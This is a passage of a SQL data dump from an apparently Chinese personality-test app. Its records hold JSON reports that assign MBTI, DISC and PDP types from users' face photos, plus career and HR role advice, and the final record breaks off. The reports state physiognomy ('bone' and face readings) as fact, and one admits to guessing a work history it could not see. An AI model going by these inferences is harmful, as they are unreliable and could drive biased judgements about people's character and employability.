\\n - 能同时「看全局」和「盯过程」 \\n - 适合在项目型、结果导向强的岗位担任负责人或关键骨干\\n\\n2. **逻辑与执行结合** \\n - 不是只会讲战略的空谈型,也不是只会干活的执行型 \\n - 能把复杂问题拆解为可执行步骤,安排人、定标准、定时间\\n\\n3. **沟通与影响力强** \\n - 具备孔雀/I型的表达力和感染力 \\n - 适合做跨部门协调、客户沟通、对上汇报、对下动员\\n\\n4. **高抗压与责任感** \\n - 在关键任务中,敢接难活,有「我来」的担当 \\n - 抗压方式偏「迎难上」,能在压力下保持理性判断\\n\\n5. **学习与迭代能力** \\n - T + C 特质使你愿意学习新方法、复盘问题 \\n - 会不断调整自己的策略和做事方式,以追求更高效的结果\\n\\n---\\n\\n## 五、可提升方向(有针对性的建议)\\n\\n1. **柔化表达方式,减少无意的压迫感** \\n - 问题不在逻辑,而在「语气与时机」: \\n - 在给反馈前先简短肯定,再指出问题 \\n - 避免在公开场合直接、尖锐地挑战个人,更聚焦问题和方案 \\n - 目标:同样的观点,用更让人「愿意接受」的方式表达\\n\\n2. **容忍差异、提升耐心** \\n - 你的节奏和标准往往高于平均值 \\n - 建议: \\n - 区分「必须做到」和「可以妥协」的标准 \\n - 对节奏慢、风格不同的同事,多用「提问式」而非「指责式」沟通: \\n - 「你现在最大困难是什么?」 \\n - 「我们一起看看怎么帮你提速?」\\n\\n3. **增强情感维度的领导力** \\n - 目前偏「任务+结果」领导方式 \\n - 可以刻意增加: \\n - 了解成员个人动机与压力 \\n - 在关键节点给予情绪支持,而不是只盯结果 \\n - 这会显著提升团队忠诚度和配合度\\n\\n4. **适当放权,避免过度控制** \\n - 强控制与高标准容易导致「事事亲力亲为」 \\n - 建议建立: \\n - 清晰的目标和检查节点 \\n - 把过程决策权交给团队,让别人也承担结果 \\n - 有助于你从「高级执行者」升级为「真正的管理者」\\n\\n5. **给自己预留「独处思考」时间** \\n - 虽然外向,但面相/INTJ 指向你有不小的「深度思考」需求 \\n - 建议在节奏很快的工作中,给自己固定的: \\n - 每周1-2次,1-2小时的独立思考时间,用于:复盘、规划、思考长期方向 \\n - 有利于你避免陷入只顾执行、不看方向的忙碌状态\\n\\n---\\n\\n### 总结一句话画像\\n\\n一个以结果和逻辑为核心、外向主动、有号召力的组织者型人才:在高压环境中能扛事、能带队、能推动复杂任务落地;同时需要在表达柔和度、对他人差异的耐心以及情感链接上做适度升级,以从「强势的执行型领导」成长为「兼具温度与格局的成熟管理者」。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773132629, 1773132629, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (105, 26, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性稳健、规划导向,擅长在安静环境中深度思考与系统决策。重视长期价值,执行风格低调克制但持续有力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0dee57b7.63622949.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e208c94.70625181.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e1c4ee9.23218328.jpg\"], \"boneAnalysis\": \"骨骼线条偏方正厚实,中停与下停力量感足,格局偏稳健持久型,重视现实落地。\", \"faceAnalysis\": \"额头与下颌饱满,眼神专注,鼻梁端正,整体给人理性、稳健而有耐性的印象。\", \"personalitySummary\": \"思维逻辑清晰,惯于独立判断与长期规划;情绪外露度低,人际中略带距离感;做事专注、有责任心,适合承担重要项目与关键决策角色。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773133602, 1773133602, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (106, 26, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、心智缜密,重视规划与秩序,擅长长期目标推进与关键决策,适合承担核心职责。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede1498fb4.13618523.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede13bda54.82616891.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede146fe35.05214291.jpg\"], \"boneAnalysis\": \"五官骨骼清晰、骨重肉薄偏金木形,相框修长有角度,颧骨内敛、下颌坚挺,显露决断力强、规划导向与持久执行力。\", \"faceAnalysis\": \"额头平阔顺滑,眼神专注克制,鼻梁挺直,嘴唇收敛有度,下颌线利落,整体给人理性稳重、专注内敛之感。\", \"personalitySummary\": \"思维逻辑严谨,做事计划性强,重视原则与底线,情绪外显度低但责任心重,适合独立思考与统筹复杂事务。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773137394, 1773137394, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (107, 26, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静且目标感强,善于规划与统筹,做事稳健高效,适合承担关键决策与专业把关角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d6f7a9.18847402.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d96652.90735834.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07df7c91.55175853.jpg\"], \"boneAnalysis\": \"骨相匀称偏骨重,颧略内敛不外突,下颌骨线条利落,属木土兼具之稳健型,重视现实落地与长远积累。\", \"faceAnalysis\": \"额头平阔顺滑,眼神沉静专注,鼻梁端正细致,嘴唇收敛有度,下颌线清晰,整体给人理性自持、判断力强的气质。\", \"personalitySummary\": \"性格内敛理性,有清晰边界与责任心,重视秩序与规则,擅长独立思考与深度分析,对自我要求高,抗压稳定。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773137428, 1773137428, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (108, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性而带理想主义色彩,思维细腻有规划,重视内在原则与长期发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"五官骨感清秀属木水形,骨肉匀称偏纤细,重直觉与思考,抗压方式以理性内耗消化为主。\", \"faceAnalysis\": \"额头偏高顺滑,眼神内敛专注,鼻梁细直,唇形柔和收敛,下巴略尖显敏感思辨。\", \"personalitySummary\": \"内向克制而有主见,重价值观与深度连接,做事谨慎有条理,擅长独立思考与长期规划,对情绪与环境变化较敏感。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773197744, 1773197744, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (109, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性冷静偏内向,思考缜密,重视个人空间与专业深度,适合研究分析与策略规划类工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感适中偏纤细,五行偏木水形,骨肉匀称,思维敏捷重逻辑,抗压方式以理性分析和持续消化为主。\", \"faceAnalysis\": \"额头饱满、眼神内敛而专注,鼻梁清秀,嘴形柔和含蓄,下颌较尖,整体偏理性内向型气质。\", \"personalitySummary\": \"安静理性,独立思考力强,做事有条理而不急躁,情绪外显度低但内心细腻,偏向以专业与思考影响他人。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773214222, 1773214222, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (110, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"理性细腻,思维缜密,内敛专注,情感深而有度,适合深度思考与策略规划型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相清秀偏木水形,骨肉匀称,颧骨不显而有支撑力,属韧性与耐力并存型,重思考胜过外放冲劲。\", \"faceAnalysis\": \"额形平顺,眼神温和内敛,鼻梁细直,唇形含蓄,下巴柔中带坚,整体偏理性内向与审慎气质。\", \"personalitySummary\": \"性格安静理性,重内在原则与价值观,做事有规划且追求完美,情绪稳定但表达含蓄,善体察他人并给予细腻支持。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773214527, 1773214527, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (111, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"理性克制而细腻,重视长期目标与内在价值,做事安静专注,兼具温度与原则感。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif\"], \"boneAnalysis\": \"骨骼匀称偏细长,颧骨不外突、下颌略带角度,属稳健内敛型骨相,重思考与节奏掌控,抗压方式偏理性持久。\", \"faceAnalysis\": \"额头平润饱满、眉眼清澈专注,鼻梁秀直、唇形端正收敛,下颌线流畅,整体给人理性细腻且自律的气质。\", \"personalitySummary\": \"性格安静独立,思维细腻有条理,重视原则与边界;对人温和但有距离感,擅长深度思考与长期规划,适合需要专注与判断力的岗位。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773216325, 1773216325, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (112, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质沉静理性,心思细腻有担当,重视长期规划与自我提升,适合在稳定高标准环境中深耕发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif\"], \"boneAnalysis\": \"面骨线条流畅不突兀,骨肉均匀偏细腻,颧区含而不露,下颌骨稳实,属稳健持久型格局,重视内在力量与长期累积。\", \"faceAnalysis\": \"额头饱满平整,眼神柔和专注,鼻梁顺直,唇形饱满收敛,下颌线清晰,整体给人理性内敛、稳重可靠之感。\", \"personalitySummary\": \"性格安静理智,思路清晰,有原则与边界感,做事细致有耐心,擅长在低调中持续发力并稳定完成高标准任务。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773216370, 1773216370, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (113, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、谋略清晰,目标导向强,善于规划与统筹,在稳定环境中能持续输出高质量成果。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122946a54c6.37603583.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12294706aa6.28073503.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1229473c992.26199330.jfif\"], \"boneAnalysis\": \"骨相偏金木形,骨架分明而不过分外露,颧骨内敛、下颌有角度,属稳健理性型格局,重视原则与秩序,抗压持久。\", \"faceAnalysis\": \"额头平阔饱满,眉眼沉稳专注,鼻梁挺直有力,嘴型收敛紧实,下颌线清晰,整体给人冷静自持、内敛坚决之感。\", \"personalitySummary\": \"性格内敛克制,思维逻辑性强,做事计划周密而节奏稳健,倾向独立思考与深度研究,人际中保持适度距离但值得信赖。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773216421, 1773216421, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (114, 28, 'face', '{\"pdp\": {\"primary\": \"考拉\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"S\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISFJ\", \"title\": \"守卫者\"}, \"overview\": \"稳重务实,责任感强,做事踏实细致,重视家庭与长期稳定,适合在熟悉领域深耕发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154dcb8.48696739.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d15502b8.73103052.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154df95.81703712.jpg\"], \"boneAnalysis\": \"骨量适中偏厚,下颌圆厚承载力强,颧骨不张主守成,属土形稳健格局,重视现实与稳定。\", \"faceAnalysis\": \"额头饱满,下庭厚实,眼神内敛稳重,鼻梁端正,嘴型含蓄收敛,整体给人踏实可靠之感。\", \"personalitySummary\": \"性格内敛沉稳,重责任与承诺,做事耐心细致,抗压能力好,偏向长期投入与稳健发展路径。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218013, 1773218013, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (115, 28, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"稳健细致、有责任感与执行力,重视规则与现实结果,适合长期深耕与稳步进阶。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1291258aed8.61725123.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b129125da054.82470920.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12912575b20.55637872.jpg\"], \"boneAnalysis\": \"骨相偏土形,骨肉均衡,颧骨内敛不外露,下颌有力,格局务实稳健。\", \"faceAnalysis\": \"额头宽阔鼻梁端正,下巴饱满,眼神沉稳,整体五官偏实在稳重型。\", \"personalitySummary\": \"性格务实内敛,重视承诺与责任,做事耐心细致,抗压性强,更偏向脚踏实地稳步推进型。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218078, 1773218078, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (116, 28, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"谨慎稳健、责任心强,注重现实与细节,适合在稳定结构中承担关键职责并长期深耕。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1291258aed8.61725123.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b129125da054.82470920.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12912575b20.55637872.jpg\"], \"boneAnalysis\": \"骨架偏厚重、颧区内敛、下颌有力,属土形稳健格局,抗压持久,重实际执行与长期承载。\", \"faceAnalysis\": \"额头宽平、眼神沉稳、鼻梁端正、下颌厚实,整体给人理性踏实、重承诺有耐力的印象。\", \"personalitySummary\": \"性格内敛理性、有原则感与责任心,做事踏实有规划,重承诺与结果,适合在规则清晰的体系中长期负责重要模块。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218176, 1773218176, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (117, 1, 'resume', '{\"content\": \"下面的分析,会把你给到的多源信息(简历+人脸&骨相分析+MBTI 两套结果+PDP+DISC)做“去噪”和交叉验证,不按某一份测评的标签生搬硬套,而是抽取其中彼此印证的部分。\\n\\n---\\n\\n## 一、核心性格关键词(综合结论)\\n\\n- 冷静理性、重逻辑 \\n- 计划性强、组织导向 \\n- 目标结果导向,执行力稳定 \\n- 内在自我要求高,抗压持久 \\n- 外在沟通存在“社交/表现”一面(可切换出场) \\n- 情绪表达相对克制,不喜无效社交 \\n- 信任建立慢,但一旦认定就稳定可靠 \\n\\n整体更像:**理性驱动的组织者 + 可控输出的影响者**,而不是典型“高情绪化、随性”的孔雀型。\\n\\n---\\n\\n## 二、真实性格深度分析\\n\\n### 1. 生日 & 面相骨相信息带来的“底色”\\n\\n你给出的面相/骨相描述中,有几条很关键:\\n\\n- “额头平阔饱满,眉眼沉稳专注,鼻梁挺直有力,嘴型收敛紧实,下颌线清晰” \\n- “整体给人冷静自持、内敛坚决之感” \\n- “骨相偏金木形…属稳健理性型格局,重视原则与秩序,抗压持久”\\n\\n去掉玄学解释,从心理与行为特征上可提炼为:\\n\\n- **偏理性+克制**:天然会先观察、判断,再行动;不易情绪化爆发。\\n- **原则意识强**:在规则、秩序、底线这类问题上比较硬,容易成为团队里的“标准制定者/捍卫者”。\\n- **意志与抗压能力较强**:遇到压力时,更倾向于咬牙扛住&自己消化,而不是大幅情绪外露。\\n- **自我要求高**:下颌线清晰 +收敛嘴型,对自我控制与结果质量有一定要求。\\n\\n这与“理性冷静、谋略清晰,目标导向强”的面部性格描述基本一致,为后面“偏T、偏J”的人格取向提供了底层支撑。\\n\\n---\\n\\n### 2. 工作经历维度(推断)\\n\\n由于简历图片内容看不到,但可结合你给出的整体测评倾向做合理推断:\\n\\n- MBTI(系统测评版):**ESTJ,E/T/S/J都极度偏向一端(100%)** \\n- DISC:**I 主 C 次,D 也不低(20%)** \\n- PDP:**孔雀 85% + 老虎 15%**\\n\\n能够拿到这样一组结果,一般意味着在工作场景中,你:\\n\\n1. **经常处在“对人+对事并重”的位置** \\n - 有一定管理/协调/组织职责:带团队、协调资源、沟通多方。\\n - 必须对业绩/结果负责:对目标、时间节点、执行落地非常敏感。\\n\\n2. **现实行为中展现出较多“外向、高表达”的一面** \\n - 需要开会、汇报、谈判、对外沟通,这会拉高E、I(影响型)、孔雀型等维度分数。\\n - 这说明你**能且会主动沟通和影响别人**,而不是纯粹沉浸在自我世界。\\n\\n3. **在压力环境下,更倾向于掌控与推进,而不是退缩** \\n - ESTJ 的“总经理型”+ D/I/C 的组合,都指向“在压力下维持推动、控制与决策”的能力。\\n - 行为风格上很可能偏:**有节奏地快、决策时果断,对不落实的人和事容忍度低。**\\n\\n4. **做事习惯偏“系统+流程+节点管理”** \\n - 高J:习惯制定计划、重要事项要落到日程和清单上。\\n - 高S:注重实际可行性,关注细节执行而不是空谈概念。\\n - 高T:决策更多依靠逻辑、事实与收益,而不是“大家感觉如何”。\\n\\n人际模式方面,大概率是:\\n\\n- 在工作场合:可表现为开朗、健谈、逻辑清晰、能hold住场子,甚至带节奏。 \\n- 在私下/陌生场域:会更克制和选择性社交,不喜欢低效率的寒暄。\\n\\n这与“外部测评看起来很E/I/孔雀,面相与人设更偏INTJ/猫头鹰/C”的反差是吻合的: \\n**现实工作逼你表现得更外向、更具影响力,但内核仍偏理性与控制感。**\\n\\n---\\n\\n### 3. MBTI / PDP / DISC:交叉验证与“去伪存真”\\n\\n你这组数据里,**冲突点**非常明显:\\n\\n- 人脸分析:INTJ + 猫头鹰 + C(重逻辑、内敛、策略、规则) \\n- MBTI测评:ESTJ(极端E/S/T/J) \\n- PDP:孔雀 85%(高表现、爱社交) \\n- DISC:I 主 + C 次 + D 有一定比例(影响型+谨慎型+少量支配)\\n\\n如何去伪存真?可以这样理解:\\n\\n#### (1)认知风格:T + J 是确定的\\n\\n- T(思考型): \\n 所有系统都在强调你**强逻辑、重事实与结果**,几乎没有F(情感型)的显著证据。 \\n → 决策侧重“对不对”、“值不值”,而不是“大家开不开心”。\\n\\n- J(判断型): \\n 规划性、结构感、秩序感,一再出现(INTJ、ESTJ、C、猫头鹰)。 \\n → 你习惯有计划、有节点、有控制的推进过程,对“随时变化、完全随缘”的工作状态不适应。\\n\\n**结论:T+J 非常稳定,是真实性格的核心。**\\n\\n#### (2)内外向 & 表现欲:真实情况更像“工作型E,性格底色偏I”\\n\\n- 面相&骨相 + INTJ:指向**内敛、冷静、自我驱动** \\n- 但MBTI、PDP、DISC 又给出高E、高I、高孔雀\\n\\n合理解释是:\\n\\n- 你具备**足够的表达能力和外向行为资源**,可以在需要时主动讲话、谈判、展示、推动。\\n- 但这种外向更多是**“角色化的外向”**:基于角色需要(领导、项目负责人、业务推动者)而启用,而不是发自内心喜欢“永远在热闹中心”。\\n- 真正让你恢复能量的方式,很可能仍是:**独处、安静思考、系统性整理、自己控制节奏。**\\n\\n**结论:内心偏I,行为上能切换到E,是“可控外向型”的理性组织者。**\\n\\n#### (3)S vs N:实践偏S,思维可兼顾N,但以现实、落地为主\\n\\n- ESTJ 给出的 S 极高(务实、执行、落地);\\n- INTJ 带来的 N 是:愿意思考长远结构、系统规划、路径设计。\\n\\n在现实中,高位/中高责任岗位的人,往往要同时具备:\\n\\n- **N**:看方向、布局、预判风险; \\n- **S**:确保短期落地,盯执行、看细节。\\n\\n结合你“目标导向+统筹规划+稳定产出”的描述,比较可能是:\\n\\n- 思考方式上,愿意看全局和长远; \\n- 行动执行上,非常重视现实可行性与当前资源条件。\\n\\n**结论:略偏S 的 NJ 型,更像是“会算账的战略执行者”。**\\n\\n#### (4)PDP/ DISC 中的“孔雀 / I 型”如何理解?\\n\\n这部分不把它理解为“你就是典型孔雀型”,而看成:\\n\\n- 你在**工作角色中承担了较强的对人沟通与影响任务**:\\n - 需要激励团队、协调内外部资源、做跨部门沟通;\\n - 对外需要展示、路演、谈判、汇报。\\n- 因此在行为层面,被测评系统识别为高“影响、表现、社交”的典型特征。\\n- 但骨相与MBTI中的理性/规则侧,又说明:**你对人的态度并不浪漫化,带有功利理性与边界感。**\\n\\n**结论:你具备“高影响力的沟通能力”,但背后驱动并非“讨好”或“纯社交成瘾”,而是为了目标、为了事情推进。**\\n\\n---\\n\\n## 三、行为与沟通风格\\n\\n### 1. 行为风格\\n\\n- **决策:快而有依据** \\n 先快速收集核心信息,形成判断,然后迅速定调并推动执行。对拖拉和反复横跳会不耐烦。\\n- **执行:重纪律、重标准** \\n 更倾向于建立流程、指标、制度,要求团队遵守;“说了不做”是你最不能接受的点之一。\\n- **抗压方式:硬扛+理性拆解** \\n 面对压力,你不太会崩溃式发泄,更像是:“先稳住局面,分解问题,按优先级一件件解决”。\\n\\n### 2. 沟通风格\\n\\n- **表达风格:直、清晰、有条理** \\n 喜欢讲数据、事实、逻辑,少用含糊、情绪化的语句。对无效闲聊兴趣不大。\\n- **对下属/同事:要求明确,反馈直接** \\n 会说“哪里做得好,哪里不行,要改什么”;有时在敏感型同事眼中略“严厉/不够温情”。\\n- **对上级/客户:尊重但不迎合** \\n 能用专业和结果说话,不喜欢无原则的讨好;更多是通过“专业、靠谱”获取信任。\\n- **在人际距离上:适度保持边界** \\n 能友好相处,但保留个人空间,不轻易完全暴露自己的真实情绪和私生活。\\n\\n---\\n\\n## 四、优势亮点(可沉淀为职业竞争力)\\n\\n1. **逻辑清晰、判断力强** \\n 能快速抓住问题核心,基于事实与数据做决策,适合承担关键决策与把关角色。\\n\\n2. **规划与组织能力出色** \\n 擅长把目标拆解为计划、步骤、节点,并通过制度/流程保障执行落地。\\n\\n3. **稳定的抗压与责任心** \\n 面对压力与复杂局面,能撑得住、不轻易失控,适合在关键岗位顶住“最后一棒”。\\n\\n4. **可控输出的影响力** \\n 能在需要的时候表现为外向、能说会谈、有气场,既能面向团队也能对接外部。\\n\\n5. **原则性与可靠度** \\n 重承诺、重底线;在团队中容易被视作“可信赖、能依靠”的那一类人。\\n\\n---\\n\\n## 五、可提升方向(组合型性格的常见盲区)\\n\\n1. **情绪与表达的柔性度** \\n - 风险:过于强调效率与结果,容易在无意间让他人感到“冷/压迫感/不近人情”。 \\n - 建议:适度增加情绪化反馈,例如肯定情绪(“我知道这段时间大家很辛苦”)、表达感谢与支持,可以显著提升团队黏性。\\n\\n2. **对“非理性”因素的包容度** \\n - 风险:对拖沓、反复、情绪化个体耐受度低,可能在协作中产生隐性对立。 \\n - 建议:把他人的“情绪波动”视作一种“客观变量”,纳入你的系统管理中(例如:预留时间与空间给对方消化),而不是只看成“没道理”。\\n\\n3. **适当展示脆弱与人味** \\n - 风险:过度自控与硬扛,会让他人觉得你“不需要被理解”,从而难以建立真正深层信任。 \\n - 建议:在合适的范围内,适当分享自己的困难与真实感受,会增强团队对你的情感认同与愿意跟随的意愿。\\n\\n4. **警惕“过度掌控”倾向** \\n - 风险:TJ+C 型容易在关键事情上“什么都想亲自盯”,导致自己过劳+团队被动依赖。 \\n - 建议:对任务做“分层授权”:哪些必须你亲自把关,哪些只需设定标准与检查节点,刻意练习放手。\\n\\n5. **保留/发展 N 向的战略思维** \\n - 风险:若长期被业务压力拖入日常事务,可能把自己用成“高级执行官”,浪费战略潜力。 \\n - 建议:刻意留出思考时间,做中长期布局、预判行业变化,让自己持续处在“既能执行又能设计规则”的位置。\\n\\n---\\n\\n**综合结论一句话**: \\n你是一个以内在理性与秩序感为核心、在外部可切换为高影响力角色的组织者型人格。真正稳固的优势,在于:能兼顾“逻辑决策 + 计划执行 + 对人沟通”,但需要在柔性表达与授权放手上再做优化,以支撑更大规模、更高层级的管理与协作。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773218290, 1773218290, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (118, 29, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFJ\", \"title\": \"主人公\"}, \"overview\": \"外向温和,情绪稳定,人际感知敏锐,善于协调关系与推动事务落地。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1ef0a945.93981460.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f03ae52.89961796.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f0baf53.84218867.jpg\"], \"boneAnalysis\": \"面骨平正不突兀,颧骨内敛有度,下颌圆厚,属土形偏稳健格局,重视责任与现实承载。\", \"faceAnalysis\": \"额头饱满,下庭有力,眼神柔中带定,鼻梁端正,嘴角上扬,整体给人亲和而踏实之感。\", \"personalitySummary\": \"性格外向友善,重视他人感受,做事稳中求进,沟通自然亲切,适合在协作与服务他人的场景中发挥长处。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218860, 1773218860, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (119, 1, 'resume', '{\"hrView\": {\"roleRecommend\": {\"bestFit\": [\"项目经理 / PM(偏交付与执行方向)\", \"运营管理岗(业务运营、门店/区域管理、流程与标准落地)\", \"销售团队管理 / 渠道拓展经理(需带团队并对业绩负责)\", \"中层管理岗(小团队负责人、业务线负责人)\", \"需要对接多部门的协调角色(如实施、客服运营主管等)\"], \"notSuitable\": [\"需要长时间独立、深度研究、极少沟通的纯技术/研究岗\", 